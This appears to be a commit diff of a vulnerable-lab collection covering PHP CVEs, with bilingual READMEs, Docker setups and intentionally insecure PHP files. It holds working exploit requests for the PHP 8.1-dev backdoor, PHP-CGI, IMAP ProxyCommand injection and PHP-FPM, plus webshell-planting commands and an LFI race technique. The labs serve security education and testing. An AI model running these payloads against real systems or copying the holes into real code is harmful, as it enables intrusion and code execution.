first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
php/8.1-backdoor/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

View File

@@ -0,0 +1,40 @@
# PHP 8.1.0-dev User-Agentt Backdoor Remote Code Execution
[中文版本(Chinese version)](README.zh-cn.md)
PHP version 8.1.0-dev was implanted with a backdoor on March 28, 2021, but the backdoor was quickly discovered and removed. When this backdoor is present on a server, an attacker can execute arbitrary code by sending a **User-Agentt** header.
References:
- https://news-web.php.net/php.internals/113838
- https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d
- https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
## Vulnerable Environment
Start a PHP 8.1-dev server with the backdoor.
```
docker compose up -d
```
After the environment is started, the service runs at ``http://your-ip:8080``.
## Vulnerability Reproduce
Send the following request to execute the code `var_dump(233*233);`:
```
GET / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
User-Agentt: zerodiumvar_dump(233*233);
Connection: close
```
![](1.png)

View File

@@ -0,0 +1,38 @@
# PHP 8.1.0-dev User-Agentt 后门导致远程代码执行漏洞
PHP 8.1.0-dev 版本在2021年3月28日被植入后门但是后门很快被发现并清除。当服务器存在该后门时攻击者可以通过发送**User-Agentt**头来执行任意代码。
参考链接:
- https://news-web.php.net/php.internals/113838
- https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d
- https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
## 漏洞环境
执行如下命令启动一个存在后门的PHP 8.1服务器:
```
docker compose up -d
```
环境启动后,服务运行在`http://your-ip:8080`
## 漏洞复现
发送如下数据包,可见代码`var_dump(233*233);`成功执行:
```
GET / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
User-Agentt: zerodiumvar_dump(233*233);
Connection: close
```
![](1.png)

View File

@@ -0,0 +1,8 @@
version: '2'
services:
web:
image: vulhub/php:8.1-backdoor
volumes:
- ./index.php:/var/www/html/index.php
ports:
- "8080:80"

View File

@@ -0,0 +1,2 @@
<?php
echo "hello world";

BIN
php/CVE-2012-1823/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

BIN
php/CVE-2012-1823/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

View File

@@ -0,0 +1,73 @@
# PHP-CGI Remote Code Execution (CVE-2012-1823)
[中文版本(Chinese version)](README.zh-cn.md)
PHP-CGI is a SAPI (Server Application Programming Interface) implementation that allows PHP to communicate with web servers. A vulnerability in PHP-CGI allows attackers to pass command-line arguments to PHP through query strings, potentially leading to remote code execution.
Affected versions: PHP < 5.3.12 or PHP < 5.4.2
References:
- <http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/>
- <https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html>
## Environment Setup
Execute the following command to start a web server that uses PHP-CGI 5.4.1:
```
docker compose up -d
```
After the server starts, visit `http://your-ip:8080/` to see the "Hello" message.
## Vulnerability Reproduction
Visit `http://your-ip:8080/index.php?-s` to reveal the source code, confirming the vulnerability exists. Send the following request to execute arbitrary PHP code:
```
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec("id"); ?>
```
## Technical Details
### PHP SAPI and Running Modes
PHP-CGI can run in two modes:
1. CGI mode: The web server creates a new process for each request
2. FastCGI mode: A persistent process handles multiple requests
According to RFC3875, when the query string doesn't contain an unencoded `=` character, it should be passed as CGI parameters. Apache implemented this requirement, but PHP didn't properly handle this case, leading to this vulnerability.
The simplest exploitation method is using the `-s` parameter to display source code:
![](1.png)
A more powerful method is using `-d` to specify `auto_prepend_file`, creating an arbitrary file inclusion vulnerability:
![](2.png)
Note: Replace spaces with `+` or `%20`, and encode `=` characters.
### CVE-2012-2311 - The Incomplete Fix
PHP initially fixed this vulnerability in versions 5.4.2 and 5.3.12 by checking for the `-` character at the start of the query string. However, this fix was incomplete and could be bypassed (CVE-2012-2311) when PHP-CGI was wrapped in a shell script:
```sh
#!/bin/sh
exec /usr/local/bin/php-cgi $*
```
By adding whitespace before the `-`, attackers could still pass parameters as the first character would be a space instead of `-`.
PHP addressed this in versions 5.4.3 and 5.3.13 by skipping all leading whitespace before checking for the `-` character.

View File

@@ -0,0 +1,71 @@
# PHP-CGI 远程代码执行漏洞CVE-2012-1823
PHP-CGI 是一个 SAPI服务器应用程序编程接口实现用于使 PHP 与 Web 服务器进行通信。PHP-CGI 中的一个漏洞允许攻击者通过查询字符串向 PHP 传递命令行参数,从而可能导致远程代码执行。
影响版本PHP < 5.3.12 PHP < 5.4.2
参考链接
- <http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/>
- <https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html>
## 环境搭建
执行如下命令启动一个使用 PHP-CGI 5.4.1 的 Web 服务器:
```
docker compose up -d
```
环境启动后,访问 `http://your-ip:8080/` 可以看到 "Hello" 字样。
## 漏洞复现
访问 `http://your-ip:8080/index.php?-s` 即可显示源代码,说明漏洞存在。发送如下数据包可执行任意 PHP 代码:
```
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec("id"); ?>
```
## 技术细节
### PHP SAPI 与运行模式
PHP-CGI 可以在两种模式下运行:
1. CGI 模式Web 服务器为每个请求创建一个新进程
2. FastCGI 模式:一个持久进程处理多个请求
根据 RFC3875 规定,当查询字符串中不包含未编码的 `=` 字符时,应该将其作为 CGI 参数传入。Apache 实现了这个要求,但 PHP 没有正确处理这种情况,导致了这个漏洞。
最简单的利用方式是使用 `-s` 参数来显示源代码:
![](1.png)
一个更强大的方法是使用 `-d` 指定 `auto_prepend_file`,从而创建任意文件包含漏洞:
![](2.png)
注意:空格需要用 `+``%20` 代替,`=` 字符需要进行 URL 编码。
### CVE-2012-2311 - 不完整的修复
PHP 最初在 5.4.2 和 5.3.12 版本中通过检查查询字符串开头的 `-` 字符来修复这个漏洞。但这个修复是不完整的,当 PHP-CGI 被包装在 shell 脚本中时可以被绕过CVE-2012-2311
```sh
#!/bin/sh
exec /usr/local/bin/php-cgi $*
```
通过在 `-` 前添加空白字符,攻击者仍然可以传递参数,因为第一个字符是空格而不是 `-`
PHP 在 5.4.3 和 5.3.13 版本中通过在检查 `-` 字符之前跳过所有前导空白字符来解决了这个问题。

View File

@@ -0,0 +1,7 @@
services:
php:
image: vulhub/php:5.4.1-cgi
volumes:
- ./www:/var/www/html
ports:
- "8080:80"

View File

@@ -0,0 +1,4 @@
<?php
header("Content-Type: text/html; charset=utf-8");
echo "Hello, \n";
echo "Your name is <strong>" . (isset($_GET['name']) ? $_GET['name'] : 'Vulhub') . '</strong>';

View File

@@ -0,0 +1,2 @@
<?php
phpinfo();

BIN
php/CVE-2018-19518/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

View File

@@ -0,0 +1,48 @@
# PHP IMAP Remote Command Execution (CVE-2018-19518)
[中文版本(Chinese version)](README.zh-cn.md)
The PHP IMAP extension is used for email operations in PHP. Its `imap_open` function calls `rsh` to connect to remote shells. In Debian/Ubuntu systems, `ssh` is used by default instead of `rsh` (meaning when you execute the `rsh` command, it actually executes `ssh`).
Since the `ssh` command allows setting `-oProxyCommand=` to call third-party commands, attackers can inject this parameter to achieve remote command execution.
References:
- <https://bugs.php.net/bug.php?id=77153>
- <https://github.com/Bo0oM/PHP_imap_open_exploit>
- <https://antichat.com/threads/463395/#post-4254681>
- <https://nvd.nist.gov/vuln/detail/CVE-2018-19518>
## Environment Setup
Execute the following command to start a vulnerable PHP server:
```
docker compose up -d
```
After the server starts, visit `http://your-ip:8080` to access the web page. The web functionality tests whether a mail server can be successfully connected, requiring server address, username, and password.
The source code can be found in [index.php](www/index.php)
## Vulnerability Reproduction
Send the following request to execute the command `echo '1234567890'>/tmp/test0001`:
```
POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
```
Execute `docker compose exec web bash` to enter the container, and you can see that `/tmp/test0001` has been successfully created:
![](1.png)

View File

@@ -0,0 +1,46 @@
# PHP IMAP 远程命令执行漏洞CVE-2018-19518
PHP IMAP 扩展用于在 PHP 中执行邮件收发操作。其 `imap_open` 函数会调用 `rsh` 来连接远程 shell而在 Debian/Ubuntu 系统中默认使用 `ssh` 来代替 `rsh` 的功能(也就是说,在 Debian 系列系统中,执行 `rsh` 命令实际执行的是 `ssh` 命令)。
由于 `ssh` 命令允许通过设置 `-oProxyCommand=` 来调用第三方命令,攻击者可以注入这个参数来实现远程命令执行。
参考链接:
- <https://bugs.php.net/bug.php?id=77153>
- <https://github.com/Bo0oM/PHP_imap_open_exploit>
- <https://antichat.com/threads/463395/#post-4254681>
- <https://nvd.nist.gov/vuln/detail/CVE-2018-19518>
## 环境搭建
执行如下命令启动一个包含漏洞的 PHP 环境:
```
docker compose up -d
```
环境启动后,访问 `http://your-ip:8080` 即可查看 Web 页面。Web 功能是测试邮件服务器是否能够成功连接,需要填写服务器地址、用户名和密码。
目标源码在 [index.php](www/index.php)
## 漏洞复现
发送如下数据包即可成功执行命令 `echo '1234567890'>/tmp/test0001`
```
POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
```
执行 `docker compose exec web bash` 进入容器,可以看到 `/tmp/test0001` 已成功创建:
![](1.png)

View File

@@ -0,0 +1,7 @@
services:
web:
image: vulhub/php:5.6.38-apache
volumes:
- ./www:/var/www/html
ports:
- "8080:80"

View File

@@ -0,0 +1,57 @@
<?php
if(!empty($_POST)) {
$imap = @imap_open('{'.$_POST['hostname'].':993/imap/ssl}INBOX', $_POST['username'], $_POST['password']);
}
?>
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous">
<title>Input your email server</title>
</head>
<body>
<div class="container">
<h2>Test your email server</h2>
<?php if(!empty($_POST)): ?>
<?php if($imap): ?>
<div class="alert alert-success" role="alert">
Connect successful!
</div>
<?php else: ?>
<div class="alert alert-danger" role="alert">
Connect failed!
</div>
<?php endif; ?>
<?php endif; ?>
<form method="post">
<div class="form-group">
<label>Server address</label>
<input type="text" name="hostname" class="form-control" >
</div>
<div class="form-group">
<label>Username</label>
<input type="text" name="username" class="form-control" >
</div>
<div class="form-group">
<label>Password</label>
<input type="password" class="form-control" name="password">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
</div>
<!-- Optional JavaScript -->
<!-- jQuery first, then Popper.js, then Bootstrap JS -->
<script src="https://cdn.jsdelivr.net/npm/jquery@3.3.1/dist/jquery.min.js" integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8=" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.4/dist/umd/popper.min.js" integrity="sha256-EGs9T1xMHdvM1geM8jPpoo8EZ1V1VRsmcJz8OByENLA=" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha256-VsEqElsCHSGmnmHXGQzvoWjWwoznFSZc6hs7ARLRacQ=" crossorigin="anonymous"></script>
</body>
</html>

BIN
php/CVE-2019-11043/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 53 KiB

BIN
php/CVE-2019-11043/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

View File

@@ -0,0 +1,63 @@
# PHP-FPM Remote Code Execution (CVE-2019-11043)
[中文版本(Chinese version)](README.zh-cn.md)
PHP-FPM is a FastCGI implementation for PHP. In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it is possible to cause FPM module to write past allocated buffers into the space reserved for FCGI protocol data, thus opening the possibility of remote code execution.
This vulnerability was first discovered during the Real World CTF 2019 Quals (organized by Chaitin Tech). It affects Nginx servers with certain misconfigurations when working with PHP-FPM, the most common vulnerable configuration includes `location ~ [^/]\.php(/|$)` rules.
## References
- PHP Bug Report: <https://bugs.php.net/bug.php?id=78599>
- Technical Analysis: <https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/>
- Exploit Tool: <https://github.com/neex/phuip-fpizdam>
## Environment Setup
Start a vulnerable PHP-FPM 7.2.10 server with Nginx using the following command:
```
docker compose up -d
```
After the environment starts, you can access the default page at `http://your-ip:8080/index.php`.
## Vulnerability Reproduction
The vulnerability can be exploited using the tool from https://github.com/neex/phuip-fpizdam:
```
$ go run . "http://your-ip:8080/index.php"
2019/10/23 19:41:00 Base status code is 200
2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate
2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795]
2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect
2019/10/23 19:41:02 Trying to set "session.auto_start=0"...
2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS
2019/10/23 19:41:02 Performing attack using php.ini settings...
2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/23 19:41:02 Trying to cleanup /tmp/a...
2019/10/23 19:41:02 Done!
```
The successful exploitation will be indicated by the output above:
![](1.png)
After the initial exploitation, a webshell is injected into the PHP-FPM process. You can execute commands by visiting:
```
http://your-ip:8080/index.php?a=id
```
Example of successful command execution:
![](2.png)
### Important Notes
1. The vulnerability affects only some of the PHP-FPM child processes. If a command doesn't execute on the first try, make multiple attempts to reach an affected process.
2. The success of the exploit depends heavily on the specific Nginx configuration. The most common vulnerable configuration includes:
- FastCGI processing enabled
- PHP files processed through PHP-FPM
- Specific location rules that split URLs in a vulnerable way

View File

@@ -0,0 +1,63 @@
# PHP-FPM 远程代码执行漏洞CVE-2019-11043
PHP-FPM 是 PHP 的 FastCGI 实现。在 PHP 7.1.x 版本低于 7.1.33、7.2.x 版本低于 7.2.24 和 7.3.x 版本低于 7.3.11 的 FPM 配置下PHP-FPM 模块可能会将超过分配缓冲区的数据写入 FCGI 协议数据空间,从而导致远程代码执行。
该漏洞最初是在长亭科技举办的 Real World CTF 2019 比赛中被发现。国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送包含 %0a 符号的请求时,服务器返回异常,进一步研究发现这是一个严重的远程代码执行漏洞。
这个漏洞存在于 Nginx 与 PHP-FPM 的交互过程中,最常见的易受攻击配置包含 `location ~ [^/]\.php(/|$)` 规则。
参考链接
- PHP 官方漏洞报告:<https://bugs.php.net/bug.php?id=78599>
- 技术分析文章:<https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/>
- 漏洞利用工具:<https://github.com/neex/phuip-fpizdam>
## 环境搭建
执行如下命令启动包含漏洞的 Nginx 和 PHP-FPM 环境:
```
docker compose up -d
```
环境启动后,访问 `http://your-ip:8080/index.php` 即可看到默认页面。
## 漏洞复现
使用 https://github.com/neex/phuip-fpizdam 提供的工具进行漏洞利用:
```
$ go run . "http://your-ip:8080/index.php"
2019/10/23 19:41:00 Base status code is 200
2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate
2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795]
2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect
2019/10/23 19:41:02 Trying to set "session.auto_start=0"...
2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS
2019/10/23 19:41:02 Performing attack using php.ini settings...
2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/23 19:41:02 Trying to cleanup /tmp/a...
2019/10/23 19:41:02 Done!
```
当看到以下输出时,表示漏洞利用成功:
![](1.png)
成功利用漏洞后,一个 webshell 会被注入到 PHP-FPM 进程中。可以通过访问以下 URL 来执行命令:
```
http://your-ip:8080/index.php?a=id
```
命令执行成功的示例:
![](2.png)
### 重要说明
1. 此漏洞只会影响部分 PHP-FPM 子进程。如果命令第一次没有执行成功,需要多次尝试以访问到被污染的进程。
2. 漏洞利用的成功与否很大程度上取决于具体的 Nginx 配置。最常见的易受攻击配置包括:
- 启用了 FastCGI 处理
- 通过 PHP-FPM 处理 PHP 文件
- 包含特定的、可被利用的 location 规则

View File

@@ -0,0 +1,27 @@
server {
listen 80 default_server;
listen [::]:80 default_server;
root /usr/share/nginx/html;
index index.html index.php;
server_name _;
location / {
try_files $uri $uri/ =404;
}
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
include fastcgi_params;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_index index.php;
fastcgi_param REDIRECT_STATUS 200;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
fastcgi_pass php:9000;
}
}

View File

@@ -0,0 +1,14 @@
services:
nginx:
image: nginx:1
volumes:
- ./www:/usr/share/nginx/html
- ./default.conf:/etc/nginx/conf.d/default.conf
depends_on:
- php
ports:
- "8080:80"
php:
image: php:7.2.10-fpm
volumes:
- ./www:/var/www/html

View File

@@ -0,0 +1,2 @@
<?php
echo "hello world";

BIN
php/CVE-2024-2961/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

BIN
php/CVE-2024-2961/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 91 KiB

View File

@@ -0,0 +1,47 @@
# PHP File Read to Remote Code Execution Through GNU C Library Iconv (CVE-2024-2961)
[中文版本(Chinese version)](README.zh-cn.md)
The GNU C Library is designed to be a backwards compatible, portable, and high performance ISO C library.
The `iconv()` function in the GNU C Library versions 2.39 and older may overflow the output buffer passed to it by up to 4 bytes when converting strings to the ISO-2022-CN-EXT character set, which may be used to crash an application or overwrite a neighbouring variable.
If an arbitrary file read vulnerability in PHP application, you can upgrade it to remote code execution through the `iconv()` issue CVE-2024-2961.
References:
- <https://www.ambionics.io/blog/iconv-cve-2024-2961-p1>
## Vulnerable environment
Execute following command to start a PHP 8.3.4 server with iconv 2.36:
```
docker compose up -d
```
After the server is started, you can read the `/etc/passwd` through `http://your-ip:8080/index.php?file=/etc/passwd`.
## Exploit
Before using the [exploit](https://github.com/ambionics/cnext-exploits), you have to prepare a Linux based system and the Python 3.10+.
Install the dependencies:
```
pip install pwntools
pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip
```
Then download and run the POC from <https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py>:
```
wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py
python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"
```
![](1.png)
As you can see, `shell.php` has been written successfully:
![](2.png)

View File

@@ -0,0 +1,43 @@
# PHP利用GNU C Iconv将文件读取变成RCECVE-2024-2961
GNU C 是一个标准的ISO C依赖库。在GNU C中`iconv()`函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。
如果一个PHP应用中存在任意文件读取漏洞攻击者可以利用`iconv()`的这个CVE-2024-2961漏洞将其提升为代码执行漏洞。
参考链接:
- <https://www.ambionics.io/blog/iconv-cve-2024-2961-p1>
## 漏洞环境
执行如下命令启动一个PHP 8.3.4服务器其使用iconv 2.36作为依赖:
```
docker compose up -d
```
服务启动后,你可以通过`http://your-ip:8080/index.php?file=/etc/passwd`这个链接读取`/etc/passwd`文件。
## 漏洞复现
在使用原作者给出的[exploit](https://github.com/ambionics/cnext-exploits)前你需要准备一个Linux环境和Python 3.10解释器。
安装依赖:
```
pip install pwntools
pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip
```
然后从<https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py>下载POC并执行
```
wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py
python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"
```
![](1.png)
可见,我们已经成功写入`shell.php`
![](2.png)

View File

@@ -0,0 +1,8 @@
version: '2'
services:
web:
image: vulhub/php:8.3.4-apache
volumes:
- ./index.php:/var/www/html/index.php
ports:
- "8080:80"

View File

@@ -0,0 +1,3 @@
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";

BIN
php/fpm/1.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 114 KiB

36
php/fpm/README.md Normal file
View File

@@ -0,0 +1,36 @@
# PHP-FPM FastCGI Unauthorized Access Leads to Remote Code Execution
[中文版本(Chinese version)](README.zh-cn.md)
PHP-FPM (FastCGI Process Manager) is an alternative PHP FastCGI implementation with some additional features useful for sites of any size, especially busier sites. When misconfigured, PHP-FPM can be accessed directly through the FastCGI protocol, allowing attackers to execute arbitrary PHP code.
This vulnerability occurs when PHP-FPM is exposed to the network without proper access controls, allowing unauthorized access to the FastCGI interface.
References:
- <https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html>
- <https://www.php.net/manual/en/install.fpm.php>
## Environment Setup
Execute the following command to start the vulnerable PHP-FPM server:
```bash
docker compose up -d
```
After the server starts, the PHP-FPM server will listen on port 9000.
## Vulnerability Reproduction
A proof-of-concept exploit script is available at: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
The script allows you to:
1. Connect directly to the PHP-FPM port
2. Send crafted FastCGI requests
3. Execute arbitrary PHP code on the target server
Successful exploitation result:
![](1.jpg)

34
php/fpm/README.zh-cn.md Normal file
View File

@@ -0,0 +1,34 @@
# PHP-FPM FastCGI 未授权访问漏洞
PHP-FPMFastCGI 进程管理器)是一个替代性的 PHP FastCGI 实现为各种规模的网站提供了额外的功能特性特别适用于高负载网站。当配置不当时PHP-FPM 可能被直接通过 FastCGI 协议访问,允许攻击者执行任意 PHP 代码。
此漏洞发生在 PHP-FPM 在没有适当访问控制的情况下暴露在网络中,导致 FastCGI 接口可被未经授权访问。
参考链接:
- <https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html>
- <https://www.php.net/manual/zh/install.fpm.php>
## 环境搭建
执行如下命令启动PHP-FPM服务器
```bash
docker compose up -d
```
服务启动后PHP-FPM 服务器将监听 9000 端口。
## 漏洞复现
漏洞利用脚本可在以下地址获取https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
该脚本允许你:
1. 直接连接到 PHP-FPM 端口
2. 发送精心构造的 FastCGI 请求
3. 在目标服务器上执行任意 PHP 代码
成功利用结果:
![](1.jpg)

View File

@@ -0,0 +1,5 @@
services:
php:
image: php:fpm
ports:
- "9000:9000"

BIN
php/inclusion/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

BIN
php/inclusion/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 21 KiB

52
php/inclusion/README.md Normal file
View File

@@ -0,0 +1,52 @@
# PHP Local File Inclusion RCE with PHPINFO
[中文版本(Chinese version)](README.zh-cn.md)
In PHP file inclusion vulnerabilities, when we cannot find a valid file to include for triggering RCE, we might be able to include a temporary file to exploit it if there exists PHPINFO which can tell us the randomly generated filename of the temporary file and its location.
Reference:
- https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf
## Vulnerable Environment
To start the vulnerable environment:
```
docker compose up -d
```
The target environment is the latest PHP 7.2, which tell us this vulnerability exists regardless of the version.
After the environment is started, access `http://your-ip:8080/phpinfo.php` to get a PHPINFO page and `http://your-ip:8080/lfi.php?file=/etc/passwd` shows there is an LFI vulnerability.
## Exploit Details
When sending a POST request to PHP and the request contains a FILE block, PHP will save the file posted into a temporary file (usually `/tmp/php[6 random digits]`), the filename can be found at `$_FILES` variable. This temp file will be deleted after the request is over.
In the meantime, PHPINFO page prints all the variables in the context, including `$_FILES`. So, the temp file's name can be found in the response if we send the POST request to the PHPINFO page.
In this way, an LFI vulnerability can be promoted into an RCE without an existed useable local file.
File inclusion and PHPINFO are usually in different web pages. In theory, we need to send the filename to the file inclusion page after retrieving the it in the response of the file uploading request to the PHPINFO page. However, after the first request finishes, the file would be removed from the disk, so we need to win the race.
Steps:
1. Send the file upload request to PHPINFO page with the HEADER and GET fields filled with large chunks of junk data.
2. The response content would be huge because PHPINFO will print out all the data.
3. PHP's default output buffer size is 4096 bytes. It can be understood as PHP return 4096 bytes each time during a socket connection.
4. So we use raw socket to achieve our goal. Each time we read 4096 bytes and send the filename to the LFI page once we get it.
5. By the time we got the filename, the first socket connection has not ended, which means the temp file still exists at that time.
6. By taking advantage of the time gap, the temp file can be included and executed.
## Exploit
The python script [exp.py](exp.py) implements the above process. After successfully include the temp file, `<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>` will be executed to generate a permanent file `/tmp/g` for further use.
use python2`python exp.py your-ip 8080 100`:
![](1.png)
The script success at the 189th packet, after that arbitrary code can be executed:
![](2.png)

View File

@@ -0,0 +1,50 @@
# PHP文件包含漏洞利用phpinfo
PHP文件包含漏洞中如果找不到可以包含的文件我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的如果目标网站上存在phpinfo则可以通过phpinfo来获取临时文件名进而进行包含。
参考链接:
- https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf
## 漏洞环境
执行如下命令启动环境:
```
docker compose up -d
```
目标环境是官方最新版PHP7.2说明该漏洞与PHP版本无关。
环境启动后,访问`http://your-ip:8080/phpinfo.php`即可看到一个PHPINFO页面访问`http://your-ip:8080/lfi.php?file=/etc/passwd`,可见的确存在文件包含漏洞。
## 利用方法简述
在给PHP发送POST数据包时如果数据包里包含文件区块无论你访问的代码中有没有处理文件上传的逻辑PHP都会将这个文件保存成一个临时文件通常是`/tmp/php[6个随机字符]`),文件名可以在`$_FILES`变量中找到。这个临时文件,在请求结束后就会被删除。
同时因为phpinfo页面会将当前请求上下文中所有变量都打印出来所以我们如果向phpinfo页面发送包含文件区块的数据包则即可在返回包里找到`$_FILES`变量的内容,自然也包含临时文件名。
在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。
但文件包含漏洞和phpinfo页面通常是两个页面理论上我们需要先发送数据包给phpinfo页面然后从返回页面中匹配出临时文件名再将这个文件名发送给文件包含漏洞页面进行getshell。在第一个请求结束时临时文件就被删除了第二个请求自然也就无法进行包含。
这个时候就需要用到条件竞争,具体流程如下:
1. 发送包含了webshell的上传数据包给phpinfo页面这个数据包的header、get等位置需要塞满垃圾数据
2. 因为phpinfo页面会将所有数据都打印出来1中的垃圾数据会将整个phpinfo页面撑得非常大
3. php默认的输出缓冲区大小为4096可以理解为php每次返回4096个字节给socket连接
4. 所以我们直接操作原生socket每次读取4096个字节。只要读取到的字符里包含临时文件名就立即发送第二个数据包
5. 此时第一个数据包的socket连接实际上还没结束因为php还在继续每次输出4096个字节所以临时文件此时还没有删除
6. 利用这个时间差第二个数据包也就是文件包含漏洞的利用即可成功包含临时文件最终getshell
## 漏洞复现
